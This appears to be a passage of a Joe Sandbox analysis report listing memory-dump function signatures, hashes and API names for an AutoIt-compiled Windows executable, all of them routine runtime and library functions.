                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Internet$OpenOption
                                                                                                                                                                            • String ID: <local>
                                                                                                                                                                            • API String ID: 942729171-4266983199
                                                                                                                                                                            • Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                                                                                                                                            • Instruction ID: 5c98b73a33c4ed77fb99ee47ce49a375c353b7aabf845c4d0aeac2a47cfb7e4a
                                                                                                                                                                            • Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                                                                                                                                            • Instruction Fuzzy Hash: 30119836A18641C2EB718F15E1017FD2261EB81F89FA88076DB4D8669CDF3DD886C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseCreateHandleProcess
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3712363035-3916222277
                                                                                                                                                                            • Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
                                                                                                                                                                            • Instruction ID: 95cc8f8b1c28982f96a0323addf22d00f2ebf48c2bdfa53c7aead17ac2dbc258
                                                                                                                                                                            • Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
                                                                                                                                                                            • Instruction Fuzzy Hash: CF113032A08742CAE720DF16F90026AB6B5FF85BC4F445176EA4D87A68CF3DD590CB40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassMessageNameSend
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 3678867486-1403004172
                                                                                                                                                                            • Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
                                                                                                                                                                            • Instruction ID: ada292fcbb3926ef61b9f79ec818bd9f8093dd2228d5b2971a170cc662c3382a
                                                                                                                                                                            • Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
                                                                                                                                                                            • Instruction Fuzzy Hash: 96019236B1C54292EA30EF24E1911FA6360FF867D4F804171E99D87A9EDF2CE609CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _ctrlfp_handle_error_raise_exc
                                                                                                                                                                            • String ID: !$tan
                                                                                                                                                                            • API String ID: 3384550415-2428968949
                                                                                                                                                                            • Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                                                                                                                                            • Instruction ID: dfeb5f46ad29b3464181187a10ef7709db8a09e0d9b45302534c32650529d91c
                                                                                                                                                                            • Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                                                                                                                                            • Instruction Fuzzy Hash: 65019671A29B8945DA24CF12A41037A6162FBDABD4F105335EA5E4BB88EF7CD1508B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _ctrlfp_handle_error_raise_exc
                                                                                                                                                                            • String ID: !$sin
                                                                                                                                                                            • API String ID: 3384550415-1565623160
                                                                                                                                                                            • Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                                                                                                                                            • Instruction ID: fd56fd206b1c519857d4e0c66f529d25dfd90850f808f7479b3c79e64cb85e38
                                                                                                                                                                            • Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                                                                                                                                            • Instruction Fuzzy Hash: F5018871E19B8945DA25CF2294503BA6262FFDBBD4F104339E95E5AB88EF7DD1404B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _ctrlfp_handle_error_raise_exc
                                                                                                                                                                            • String ID: !$cos
                                                                                                                                                                            • API String ID: 3384550415-1949035351
                                                                                                                                                                            • Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                                                                                                                                            • Instruction ID: 28fd0287f365439dc190f8785cd9ab3b04d3eb8f4c5755d870618fd6a40555ef
                                                                                                                                                                            • Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                                                                                                                                            • Instruction Fuzzy Hash: F601D871E19B8985DA24CF2294003BA6162FFDBBD4F104335E95E0AB88EF7DD0504B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _handle_error
                                                                                                                                                                            • String ID: "$exp
                                                                                                                                                                            • API String ID: 1757819995-2878093337
                                                                                                                                                                            • Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                                                                                                                                            • Instruction ID: 848ad2c6551dd776468a7b107c7d91fb6b9e2d913b21085785ce6448e03cd295
                                                                                                                                                                            • Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                                                                                                                                            • Instruction Fuzzy Hash: 1901C476929B8987E330CF24D0492AA7BB0FFEA384F205319E7441AA64CB7DD4C19B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Message
                                                                                                                                                                            • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                            • API String ID: 2030045667-4017498283
                                                                                                                                                                            • Opcode ID: 47289967b9eb923feb30cdf6953810302e06e8d280c3038f2442cbc3514d9180
                                                                                                                                                                            • Instruction ID: 403a1febbbc86006492ff25fe317bebc93958a4f1d8644867f32175719a0af5d
                                                                                                                                                                            • Opcode Fuzzy Hash: 47289967b9eb923feb30cdf6953810302e06e8d280c3038f2442cbc3514d9180
                                                                                                                                                                            • Instruction Fuzzy Hash: A9F0E530B1864A82EB387B56F1913B92251EF49BC0F545475DA0D87B9ECDBCD5918340
                                                                                                                                                                            APIs
                                                                                                                                                                            • try_get_function.LIBVCRUNTIME ref: 00007FF697B675E9
                                                                                                                                                                            • TlsSetValue.KERNEL32(?,?,?,00007FF697B67241,?,?,?,?,00007FF697B6660C,?,?,?,?,00007FF697B64CD3), ref: 00007FF697B67600
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Valuetry_get_function
                                                                                                                                                                            • String ID: FlsSetValue
                                                                                                                                                                            • API String ID: 738293619-3750699315
                                                                                                                                                                            • Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                                                                                                                                            • Instruction ID: 9762c6aee660d16062dec76dc5ef3d2099a4e6b924078b1172834ae0278e5dc4
                                                                                                                                                                            • Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                                                                                                                                            • Instruction Fuzzy Hash: C9E06576A1C54281EA296F55E4005B43361EF89FD1F485071DA0DC625DCE3CD688D700
                                                                                                                                                                            APIs
                                                                                                                                                                            • std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF697B65629
                                                                                                                                                                            • _CxxThrowException.LIBVCRUNTIME ref: 00007FF697B6563A
                                                                                                                                                                              • Part of subcall function 00007FF697B67018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697B6563F), ref: 00007FF697B6708D
                                                                                                                                                                              • Part of subcall function 00007FF697B67018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697B6563F), ref: 00007FF697B670BF
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
                                                                                                                                                                            • String ID: Unknown exception
                                                                                                                                                                            • API String ID: 3561508498-410509341
                                                                                                                                                                            • Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                                                                                                                                            • Instruction ID: 693b50e719d92fbbe57ad952f31ed1ba3bb947600fca1b430df58d40d99e92e2
                                                                                                                                                                            • Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
                                                                                                                                                                            • Instruction Fuzzy Hash: 0FD01736A2898691DE20EF04D8943A9A330FB80398F9044B2E24CC25B9EF2CD64AD700